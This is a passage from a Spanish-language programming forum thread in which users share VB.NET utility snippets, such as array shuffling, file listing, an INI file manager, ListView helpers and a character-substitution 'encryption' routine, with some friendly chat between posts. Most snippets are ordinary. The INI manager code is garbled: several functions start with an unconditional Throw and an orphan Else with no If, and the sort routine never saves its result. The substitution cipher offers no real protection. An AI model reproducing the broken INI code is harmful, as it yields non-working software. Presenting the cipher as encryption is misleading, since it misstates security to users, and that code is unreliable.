Thread_Handle_Dictionary.Remove(Process.Key) End If Application.DoEvents() Next Else For Each Process In Temp_Dictionary If Process.Key.ToLower.Contains(Process_Name.ToLower & Thread_Number.ToString) Then ResumeThread(Process.Value) CloseHandle(Process.Value) Thread_Handle_Dictionary.Remove(Process.Key) Exit For End If Application.DoEvents() Next End If Return True Else Throw New Exception("Process """ & Process_Name & """ with thread number """ & Thread_Number & """ not found.") Return False End If End Function #End Region End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 9 Junio 2013, 18:59 pm
Resalta en colores la sintaxis de un script. (Lo convierte a código HTML) http://colorcode.codeplex.com/releases/view/103657 (http://img69.imageshack.us/img69/6953/captura1bz.png) #Region " [ColorCode] Color Code " ' [ColorCode] Color Code ' ' // By Elektro H@cker ' ' Instructions: ' 1. Add a reference to ColorCode.dll ' ' Examples: ' HtmlTextBox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.vb"), ColorCode.Languages.VbDotNet) ' HtmlTextbox1.Text = Color_Code(IO.File.ReadAllText("c:\Code.cs"), ColorCode.Languages.CSharp) Private Function Color_Code(ByVal Code As String, ByVal Language As ColorCode.ILanguage) As String Return New ColorCode.CodeColorizer().Colorize(Code, Language) End Function #End Region
Randomizar el contenido de un Array de tipo String: #Region " Randomize String Array " ' [ Randomize String Array Function ] ' ' Examples : ' Dim MyArray As Array = Randomize_String_Array({"a", "b", "c", "d", "e"}) ' Result: {"d", "a", "c", "e", "b"} Dim Array_randomizer As New Random Private Function Randomize_String_Array(ByVal array() As String) As Array Return array.OrderBy(Function() Array_randomizer.Next).ToArray End Function #End Region
Randomizar el contenido de cualquier tipo de Array: #Region " Randomize Array " ' [ Randomize Array ] ' ' Examples : ' Dim strarray() As String = {"a", "b", "3"} ' Dim IntArray As Array = {1, 2, 3} ' Randomize_Array(strarray) ' Randomize_Array(IntArray) Dim Array_Randomizer As New Random Public Sub Randomize_Array(ByVal array As Array) For i As Int64 = array.Length To 1 Step -1 Dim j As Int64 = Array_Randomizer.Next(i) Dim tmp As Object = array(j) array(j) = array(i - 1) array(i - 1) = tmp Next End Sub #End Region
Une el contenido de un Array de cualquier tipo (hace unos días posteé un código parecido, pero solo funcionaba para arrays de string) #Region " Join Array " ' [ Join Array Function ] ' ' Examples : ' ' Dim StrArray() As String = {"a", "b", "c"} ' String array ' Dim IntArray As Array = {1, 2, 3} ' Integer array ' MsgBox(Join_Array(StrArray, " ")) ' Result: a b c ' MsgBox(Join_Array(IntArray, " ")) ' Result: 1 2 3 Private Function Join_Array(ByVal array As Array, ByVal Separator As String) Return String.Join(Separator, array.Cast(Of Object).Select(Function(x) x.ToString)) End Function #End Region
cifrar-descifrar un string de manera selectiva (usando los caracteres que nos de la gana, por eso el código es así de largo) #Region " Encrypt-Decrypt String Selective " ' [ Encrypt-Decrypt String Selective Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(Encrypt_Text("Hello world")) ' Result: à`336 L6ë3m ' MsgBox(Decrypt_Text("à`336 L6ë3m")) ' Result: Hello world ' MsgBox(Encrypt_Text("¡ Hello world !", True)) ' Result: = <ÁÍÍÀ cÀ,Í3 Ï ' MsgBox(Decrypt_Text("= <ÁÍÍÀ cÀ,Í3 Ï", True)) ' Result: ¡ Hello world ! Public Shared Function Encrypt_Text(ByVal str As String, _ Optional ByVal Include_Special_Characters As Boolean = False) As String Dim Temp_String As String = String.Empty Dim Replacement_Found As Boolean = False Static Characters As Char() Static Replacements As Char() If Include_Special_Characters Then Characters = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray Replacements = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"} Else Characters = _ "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray ' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _ Replacements = _ {"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"} ' a, b, c, d, e, f, g, h, i, j, k, l, m, n, ñ, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, Ñ, O, P, Q, R, S, T, U, V, W, X, Y, Z, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, á, é, í, ó, ú, Á, É, Í, Ó, Ú, à, è, ì, ò, ù, À, È, Ì, Ò, Ù, ä, ë, ï, ö, ü, Ä, Ë, Ï, Ö, Ü, ç, Ç, º, ª, ¡, ¿, ·, ¬, `, ´, ¨, € End If For Each character As Char In str For x As Int32 = 0 To Characters.Length - 1 If character = Characters(x) Then Replacement_Found = True Temp_String &= Replacements(x) Exit For End If Next If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False Application.DoEvents() Next Return Temp_String End Function Public Shared Function Decrypt_Text(ByVal str As String, _ Optional ByVal Include_Special_Characters As Boolean = False) As String Dim Temp_String As String = String.Empty Dim Replacement_Found As Boolean = False Static Characters As Char() Static Replacements As Char() If Include_Special_Characters Then Characters = {"h", "ó", "Ó", "3", "Á", "è", "A", "^", "ö", "~", "O", "Í", "€", "q", "ú", "À", "Ç", "È", ",", "ì", "i", "ï", "ò", "c", "0", "ñ", "4", "l", "Ü", "ª", "¬", "S", "&", "?", "<", ":", "T", "*", "e", ".", "R", "É", "D", "7", "9", "Ú", "n", "¿", "L", "m", "¨", "Ë", "]", "Ä", "Q", "w", "V", "'", "G", "K", "é", "v", "ù", "}", "P", "E", "X", "+", "í", "´", "$", "{", "_", "Ñ", "u", "ë", "H", "g", "d", "x", "8", "/", "ä", "#", "|", "-", "1", "M", "Ò", "o", ")", "N", "Y", "á", "Ù", "Ì", "%", "ç", """", "a", "=", "Ï", "z", "Ö", ">", ";", "2", "6", "B", "y", "b", "`", "s", "5", "t", "[", "(", "à", "ü", "!", "¡", "f", "W", "k", "r", "U", "J", "·", "Z", "F", "C", "º", "I", "@", "p", "j"} Replacements = "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª<>¡!¿?()[]{}/\|·.:;,-+=_~¬^'`´¨*$%&€#@""".ToCharArray Else Characters = _ {"u", "Ñ", "T", "m", "`", "P", "Ç", "Z", "h", "x", "á", "3", "¬", "R", "ª", "6", "ò", "N", "ë", "Ì", "g", "ö", "I", "L", "a", "À", "·", "V", "5", "Ë", "Ù", "´", "Ö", "J", "à", "¡", "n", "4", "È", "j", "ç", "b", "c", "y", "E", "ù", "Ó", "f", "º", "Q", "q", "G", "e", "B", "0", "€", "9", "o", "ì", "O", "8", "¿", "r", "v", "ó", "2", "Ï", "1", "¨", "i", "Á", "D", "t", "Í", "k", "Ú", "C", "ñ", "Ä", "S", "A", "é", "7", "Ü", "K", "z", "í", "è", "Y", "ü", "F", "s", "p", "X", "U", "Ò", "l", "É", "ú", "d", "ï", "M", "W", "H", "ä", "w"} ' a, b, c, d, e, f, g, h, i, j, k, l, m, n, ñ, o, p, q, r, s, t, u, v, w, x, y, z, A, B, C, D, E, F, G, H, I, J, K, L, M, N, Ñ, O, P, Q, R, S, T, U, V, W, X, Y, Z, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, á, é, í, ó, ú, Á, É, Í, Ó, Ú, à, è, ì, ò, ù, À, È, Ì, Ò, Ù, ä, ë, ï, ö, ü, Ä, Ë, Ï, Ö, Ü, ç, Ç, º, ª, ¡, ¿, ·, ¬, `, ´, ¨, € Replacements = _ "abcdefghijklmnñopqrstuvwxyzABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789áéíóúÁÉÍÓÚàèìòùÀÈÌÒÙäëïöüÄËÏÖÜçǺª¡¿·¬`´¨€".ToCharArray ' Removed chars for better improvement in code encryptation: = & + - ^ " % ' < > ( ) { } . $ [ ] ; @ ! ? ~ : / \ | * # , _ End If For Each character As Char In str For x As Int32 = 0 To Characters.Length - 1 If character = Characters(x) Then Replacement_Found = True Temp_String &= Replacements(x) Exit For End If Next If Not Replacement_Found Then Temp_String &= character Else Replacement_Found = False Application.DoEvents() Next Return Temp_String End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 11:56 am
Otro código de ORO: Devuelve de la manera más eficaz y sencilla una lista de tipo FileInfo con todos los archivos de un directorio, Le hice dos overloads para poder usar la función de varias maneras y evitar posibles errores en el "SearchPattern", La función es "IgnoreCase", devuelve la extensión en uppercase y lowercase y todas las variantes posibles, en fin, esto es la perfección: #Region " Get Files " ' [ Get Files Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' For Each file In Get_Files("C:\Windows", False) : MsgBox(file.Name) : Next ' ' For Each file In Get_Files("C:\Windows", True, "dll") : MsgBox(file.Name) : Next ' For Each file In Get_Files("C:\Windows", True, ".dll") : MsgBox(file.Name) : Next ' For Each file In Get_Files("C:\Windows", True, "*.dll") : MsgBox(file.Name) : Next ' ' For Each file In Get_Files("C:\Windows", False, {"dll", "ini"}) : MsgBox(file.Name) : Next ' For Each file In Get_Files("C:\Windows", False, {".dll", ".ini"}) : MsgBox(file.Name) : Next ' For Each file In Get_Files("C:\Windows", False, {"*.dll", "*.ini"}) : MsgBox(file.Name) : Next ' Get Files {directory} {recursive} Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean) As List(Of IO.FileInfo) Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly) Return IO.Directory.GetFiles(directory, "*", searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList End Function ' Get Files {directory} {recursive} {ext} Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ext As String) As List(Of IO.FileInfo) If ext.StartsWith("*") Then ext = ext.Substring(1, ext.Length - 1) ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then ext = ("." & ext) ElseIf ext = "*" Then ext = Nothing End If Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly) Return IO.Directory.GetFiles(directory, "*" & ext, searchOpt).Select(Function(p) New IO.FileInfo(p)).ToList End Function ' Get Files {directory} {recursive} {exts()} Private Function Get_Files(ByVal directory As String, ByVal recursive As Boolean, ParamArray exts() As String) As List(Of IO.FileInfo) Dim FileExts(exts.Count) As String Dim ExtCount As Int32 = 0 For Each ext In exts If ext.StartsWith("*") Then FileExts(ExtCount) = ext.Substring(1, ext.Length - 1) ElseIf Not ext = "*" AndAlso Not ext.StartsWith(".") Then FileExts(ExtCount) = ("." & ext) ElseIf Not ext = "*" AndAlso ext.StartsWith(".") Then FileExts(ExtCount) = ext ElseIf ext = "*" Then FileExts(ExtCount) = Nothing End If ExtCount += 1 Next Dim searchOpt As IO.SearchOption = If(recursive, IO.SearchOption.AllDirectories, IO.SearchOption.TopDirectoryOnly) Dim filenameExtComparer As New FilenameExtensionComparer Return IO.Directory.GetFiles(directory, "*", searchOpt).Where(Function(o) FileExts.Contains(IO.Path.GetExtension(o), filenameExtComparer)).Select(Function(p) New IO.FileInfo(p)).ToList End Function ' FilenameExtensionComparer Public Class FilenameExtensionComparer : Implements IEqualityComparer(Of String) Public Function Equals1(s As String, t As String) As Boolean Implements IEqualityComparer(Of String).Equals Return String.Compare(s, t, StringComparison.OrdinalIgnoreCase) = 0 End Function Public Function GetHashCode1(s As String) As Integer Implements IEqualityComparer(Of String).GetHashCode Return s.GetHashCode() End Function End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 19:59 pm
Cargar o guardar valores fácilmente en un archivo INI: #Region " INI Manager " ' [ INI Manager Functions ] ' ' // By Elektro H@cker ' ' Examples : ' ' INI_Manager.Set_Value(".\Test.ini", "TextValue", TextBox1.Text) ' Save ' TextBox1.Text = INI_Manager.Load_Value(".\Test.ini", "TextValue") ' Load ' INI_Manager.Delete_Value(".\Test.ini", "TextValue") ' Delete ' INI_Manager.Sort_Values(".\Test.ini") ' Sort INI File Public Class INI_Manager ''' <summary> ''' The INI File Location. ''' </summary> Public Shared INI_File As String = IO.Path.Combine(Application.StartupPath, Process.GetCurrentProcess().ProcessName & ".ini") ''' <summary> ''' Set a value. ''' </summary> ''' <param name="File">The INI file location</param> ''' <param name="ValueName">The value name</param> ''' <param name="Value">The value data</param> Public Shared Sub Set_Value (ByVal File As String, ByVal ValueName As String, ByVal Value As String) Try If Not IO. File. Exists(File) Then ' Create a new INI File with "Key=Value"" My. Computer. FileSystem. WriteAllText(File, ValueName & "=" & Value, False) Exit Sub Else ' Search line by line in the INI file for the "Key" Dim Line_Number As Int64 = 0 Dim strArray () As String = IO. File. ReadAllLines(File) For Each line In strArray If line.ToLower.StartsWith(ValueName.ToLower & "=") Then strArray(Line_Number) = ValueName & "=" & Value IO. File. WriteAllLines(File, strArray ) ' Replace "value" Exit Sub End If Line_Number += 1 Next Application.DoEvents() My. Computer. FileSystem. WriteAllText(File, vbNewLine & ValueName & "=" & Value, True) ' Key don't exist, then create the new "Key=Value" End If Catch ex As Exception MsgBox(ex.Message) End Try End Sub ''' <summary> ''' Load a value. ''' </summary> ''' <param name="File">The INI file location</param> ''' <param name="ValueName">The value name</param> ''' <returns>The value itself</returns> Public Shared Function Load_Value (ByVal File As String, ByVal ValueName As String) As Object Throw New Exception (File & " not found.") ' INI File not found. Return Nothing Else For Each line In IO. File. ReadAllLines(File) If line.ToLower.StartsWith(ValueName.ToLower & "=") Then Return line.Split("=").Last Next Application.DoEvents() Throw New Exception("Key: " & """" & ValueName & """" & " not found.") ' Key not found. Return Nothing End If End Function ''' <summary> ''' Delete a key. ''' </summary> ''' <param name="File">The INI file location</param> ''' <param name="ValueName">The value name</param> Public Shared Sub Delete_Value (ByVal File As String, ByVal ValueName As String) Throw New Exception (File & " not found.") ' INI File not found. Exit Sub Else Try Dim Line_Number As Int64 = 0 Dim strArray () As String = IO. File. ReadAllLines(File) For Each line In strArray If line.ToLower.StartsWith(ValueName.ToLower & "=") Then strArray(Line_Number) = Nothing Exit For End If Line_Number += 1 Next Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number) ReDim Preserve strArray(UBound(strArray) - 1) My. Computer. FileSystem. WriteAllText(File, String. Join(vbNewLine, strArray ), False) Catch ex As Exception MsgBox(ex.Message) End Try End If End Sub ''' <summary> ''' Sorts the entire INI File. ''' </summary> ''' <param name="File">The INI file location</param> Public Shared Sub Sort_Values (ByVal File As String) Throw New Exception (File & " not found.") ' INI File not found. Exit Sub Else Try Dim Line_Number As Int64 = 0 Dim strArray () As String = IO. File. ReadAllLines(File) Dim TempList As New List(Of String) For Each line As String In strArray If line <> "" Then TempList.Add(strArray(Line_Number)) Line_Number += 1 Next TempList.Sort() Catch ex As Exception MsgBox(ex.Message) End Try End If End Sub End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 11 Junio 2013, 21:06 pm
Entonces este IniReader usa Secciones? Si no explicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Junio 2013, 21:51 pm
Entonces este IniReader usa Secciones? No, no lee secciones ni tampoco guarda secciones, no me gustan las secciones ni tampoco las considero útiles, menos para aplicaciones grandes como CCleaner. explicame, como hago para llamar a 2 pcbs desde el mismo .INI :silbar: ;D Pues primero guardas el valor de cada PictureBox en el ini, y luego obtienes los valores préviamente guardados y los asignas a... a lo que estés intentando asignarlo. Lee los comentarios al principio de la Class, ahí hay ejemplos, no sé que puede resultar tán dificil (de verdad), crea un post porque si con esos ejemplos no te aclara entonces ya no se que más decir. Saludos!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 11 Junio 2013, 22:07 pm
Nada ya se como quedaría, a veces parezco tonto. :-[
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:40 pm
Unos snippets que hice para usarlos con ListViews: - Auto scrollea un Listview hasta el último Item.
' Scroll ListView Private Sub Scroll_ListView(ByVal ListView_Name As ListView) ListView_Name.EnsureVisible(ListView_Name.Items.Count - 1) End Sub
- Deshabilita el menú contextual si no hay ningún Item seleccionado.
' [ListView] Auto-Disable ContextMenu Private Sub ContextMenu_Opening(sender As System.Object, e As System.ComponentModel.CancelEventArgs) _ Handles Listview1_ContextMenu.Opening If ListView1.SelectedItems.Count = 0 Then e.Cancel = True End Sub
- Copia el contenido de un Item al portapapeles
#Region " [ListView] Copy Item To Clipboard " ' [ [ListView] Copy Item To Clipboard ] ' ' // By Elektro H@cker ' ' Examples : ' ' Copy_Selected_Items_To_Clipboard(ListView1, 0) ' Copies Item 0 ' Copy_Selected_Items_To_Clipboard(ListView1, 0, 2) ' Copies SubItem 2 of Item 0 Private Sub Copy_Item_To_Clipboard(ByVal ListView_Name As ListView, _ ByVal Item As Int32, _ Optional ByVal SubItem As Int64 = 0) Clipboard.SetText(ListView_Name.Items(Item).SubItems(SubItem).Text) End Sub #End Region
- Copia el contenido de los items seleccionados al portapapeles
#Region " [ListView] Copy Selected-Items To Clipboard " ' [ [ListView] Copy Selected-Items To Clipboard ] ' ' // By Elektro H@cker ' ' Examples : ' ' Copy_Selected_Items_To_Clipboard(ListView1) ' Copies all SubItems of selected Items ' Copy_Selected_Items_To_Clipboard(ListView1, 2) ' Copies only SubItem 2 of selected Items Private Sub Copy_Selected_Items_To_Clipboard(ByVal ListView_Name As ListView, _ Optional ByVal SubItem As Int32 = -0) Dim text As String = String.Empty For Each Entry As ListViewItem In ListView_Name.SelectedItems() If SubItem = -0 Then For Each Subi As ListViewItem.ListViewSubItem In ListView_Name.Items(Entry.Index).SubItems text &= " " & Subi.Text Next text &= ControlChars.NewLine Else text &= ControlChars.NewLine & ListView_Name.Items(Entry.Index).SubItems(SubItem).Text End If Next Clipboard.SetText(text) End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 19:42 pm
Mini aporte, muy mini xDComo escribir en varias líneas a través de .Text de un Control Label, TextBox, etc.Label1.Text = "Texto por aquí" & vbCrLf 'Este texto representa un Salto de Línea >:D & "Texto por acá xD"
Un saludo.
Advertencia - mientras estabas escribiendo, una nueva respuesta fue publicada.... Joer! Que puntería tienes! xD Tema: Librería de Snippets !! (Posteen aquí sus snippets) (Leído 10,100 veces)Anda! 10k de visitas! Enhorabuena :)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:42 pm
Abre un archivo o una carpeta en el explorador de Windows #Region " Open In Explorer " ' [ Open In Explorer ] ' ' // By Elektro H@cker ' ' Examples : ' Open_In_Explorer("C:\Folder\") ' Open_In_Explorer("C:\Folder\File.txt") Private Sub Open_In_Explorer(ByVal File_Or_Folder As String) If File_Or_Folder.EndsWith("\") Then File_Or_Folder = File_Or_Folder.Substring(0, File_Or_Folder.Length - 1) If IO.Directory.Exists(File_Or_Folder) Then Dim FileInformation As IO.FileInfo = My.Computer.FileSystem.GetFileInfo(File_Or_Folder) Process.Start("explorer.exe", " /select," & IO.Path.Combine(FileInformation.DirectoryName, FileInformation.Name)) ElseIf IO. File. Exists(File_Or_Folder ) Then Dim FolderInformation As IO.DirectoryInfo = My.Computer.FileSystem.GetDirectoryInfo(File_Or_Folder) Process.Start("explorer.exe ", FolderInformation.FullName) Else Throw New Exception(File_Or_Folder & " doesn't exist") End If End Sub #End Region
Abre un dialogo y selecciona un proceso para ejecutar un archivo. #Region " Open With... " ' [ Open With... ] ' ' // By Elektro H@cker ' ' Examples : ' Open_With("C:\File.txt") ' And select "Notepad.exe" in the Dialog... Private Sub Open_With(ByVal File_Or_Folder As String) Dim OpenWith As New OpenFileDialog() OpenWith.InitialDirectory = Environ("programfiles") OpenWith.Title = "Open file with..." OpenWith.Filter = "Application|*.exe" If OpenWith.ShowDialog() = DialogResult.OK Then Process.Start(OpenWith.FileName, " " & """" & File_Or_Folder & """") End If End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 19:50 pm
Tema: Librería de Snippets !! (Posteen aquí sus snippets) (Leído 10,100 veces)
Anda! 10k de visitas! Enhorabuena :) Las visitas me dan igual ...pero es una situación crítica que de 10.000 lecturas sólamente 3 personas (incluida yo) hayan participado a contribuir.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 19:57 pm
Un poco ratas si que hay que ser. xD
Aparte de tu y yo, quien más ha participado? :o :P
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:05 pm
Aparte de tu y yo, quien más ha participado? :o :P
ABDERRAMAH
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 20:07 pm
ABDERRAMAH
Y cuantos Snippets ha dejado? :P Me he fijado y NovLucker también ha ayudado. ;)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:13 pm
Me he fijado y NovLucker también ha ayudado. ;) Si leyeras sin prisas verías que NovLucker no ha aportado Snippets porque él no tiene Snippets (Como dijo en los comentarios del principio de este hilo), símplemente comentó para ayudarme a intentar perfeccionar la manera en la que yo codeaba las cosas. Saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 16 Junio 2013, 20:18 pm
xD Me refería a que ha ayudado a perfeccionar. (Se ha que ha ayudao, es más he leido algunos de sus comentarios ;)) ;-) xD Hijo estás muy ofuscao xD
Saludos!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 16 Junio 2013, 20:30 pm
Hijo estás muy ofuscao xD Si, es lo que pasa cuando me ofuscan. Saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: ABDERRAMAH en 17 Junio 2013, 00:17 am
Y cuantos Snippets ha dejado? :P
Pues unos pocos, pero sobre manejo de bitmaps, códigos útiles para simplificar el uso de gdi+. No es mucho porque yo no acostumbro a usar snippets excepto para ese tipo de tareas, pero creo que es útil. Todo sea dicho, sería maravilloso un poco más de actividad de los que frecuentamos el foro de .net.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 11:13 am
sería maravilloso un poco más de actividad de los que frecuentamos el foro de .net. Si, además, es que no hay ni un solo código de C# en todo el hilo x'D¿¡ Donde se ha metido la gente que maneja C# !?Os recuerdo que el lenguaje no importa en este hilo... A ver si alguien se anima, Saludos.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 12:20 pm
Ya veo aquí a OmarHack xD
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: birik en 17 Junio 2013, 12:27 pm
Aporto mi granito de arena: Función que si le pasas un numero te devuelve el equivalente en letra No lo e explicado muy bien un ejemplo: Le paso a la función 1 -> me devuelve a Le paso a la función 26 -> me devuelve z Le paso a la función 27 -> me devuelve aa Le paso a la función 53 -> me devuelve ba y así sucesivamente: Private Function ConvertirALetras4(ByVal num As Integer) As String
Dim base26 As String() = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"} Dim cadena As String = "" Dim tmp As Integer = num
While tmp > 0 If tmp Mod 26 = 0 Then cadena += base26(25) tmp = (tmp \ 26) - 1 Else cadena += base26(tmp Mod 26 - 1) tmp = tmp \ 26 End If End While Return StrReverse(cadena) End Function
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 15:16 pm
Bueno Elektro con tu creación Dinámica de controles no me llevaba muy bien, así que, mira lo que he hecho. (Bueno me he encontrado hecho, ahora tenéis que transportarlo, transformarlo, adaptarlo, etc a lo que vosotros queráis como he hecho yo) :silbar: Public Class Form1 Private Sub NewButton(ByVal ButtonNumber As Integer) ' Create a new button Dim oButton As Button oButton = New Button ' Set properties. Change these as you like and set other props if needed oButton.Enabled = True oButton.Location = New Point(ButtonNumber * 30, ButtonNumber * 30) oButton.Name = "MyButton" & ButtonNumber.ToString oButton.Size = New Size(75, 23) oButton.Text = "Button" & ButtonNumber.ToString oButton.Visible = True ' Use Tag property to store "which button" information oButton.Tag = ButtonNumber ' Add button click handler AddHandler oButton.Click, AddressOf onButtonClick ' Add to this forms controls collection Me.Controls.Add(oButton) End Sub Private Sub MyFunc(ByVal ButtonNumber As Integer) ' Do your stuff here MessageBox.Show("You clicked button: " & ButtonNumber.ToString, "Click", MessageBoxButtons.OK, MessageBoxIcon.Information) End Sub Private Sub onButtonClick(ByVal sender As System.Object, ByVal e As System.EventArgs) ' Handle button click and check which button is clicked Dim ButtonNumber As Integer ' Get Tag property. Cast sender to Button first If CType(sender, Button).Tag IsNot Nothing Then ' Check that button's Tag property contains a valid integer If Integer.TryParse(CType(sender, Button).Tag.ToString, ButtonNumber) Then ' Now we have a valid button number to be used MyFunc(ButtonNumber) End If End If End Sub Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load ' Create buttons dynamically on form load Dim i As Integer For i = 0 To 30 NewButton(i) Next i End Sub End Class
Con esta maravilla, si la sabéis transformar, podéis sacar el numero del Button que habéis pulsado, lo que os hace la vida más fácil al manejar el dichoso Ini_ManagerQue os parece? :silbar:
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 15:52 pm
Que os parece? :silbar: Me parece que está muy bien comentado Aunque es un poco marear la perdiz añadir el número al Tag y luego intentar parsearlo, si el número ya se añade de forma dinámica el "name" y con parsear el name es suficiente, pero bueno, es otra forma de hacer las cosas, si el code fuera tuyo te daría un par de aplausos xD Saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Novlucker en 17 Junio 2013, 15:56 pm
Si, además, es que no hay ni un solo código de C# en todo el hilo x'D
¿¡ Donde se ha metido la gente que maneja C# !?
Os recuerdo que el lenguaje no importa en este hilo... No uso snippets, me es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD Por lo anterior, muchos de los snippets no los veo útiles (ya lo había dicho), por el simple hecho de que lo único que hacen es llamar a un método de .NET con unos parámetros específicos, es lo mismo pero con otro nombre :-\ Saludos
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 16:06 pm
me es más sencillo rehacer un código que buscar en una librería de snippet para ver si tengo uno que me sirva :xD Buscar entre las páginas puede resultar tedioso, pero en la página principal intento dejar un índice ordenado del contenido de un pack que contiene todos los snippets (los que yo he publicado), que por cierto, lo actualizaré cuando llegue a los 400 snippets, me faltan 23... Saludos!
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: z3nth10n en 17 Junio 2013, 18:31 pm
Voltear Texto de un TextBox y pasarlo a otro. :) Public Function Voltear(ByVal Texto As String) As String Dim i As Long, l As Long l = Len(Texto) For i = 1 To l Voltear = Voltear & Mid(Texto, l, 1) l = l - 1 Next End Function Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click textbox2.text = voltear(textbox1.text) 'voltea texto End Sub
Un saludo.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Junio 2013, 18:54 pm
Voltear Texto de un TextBox y pasarlo a otro. :)
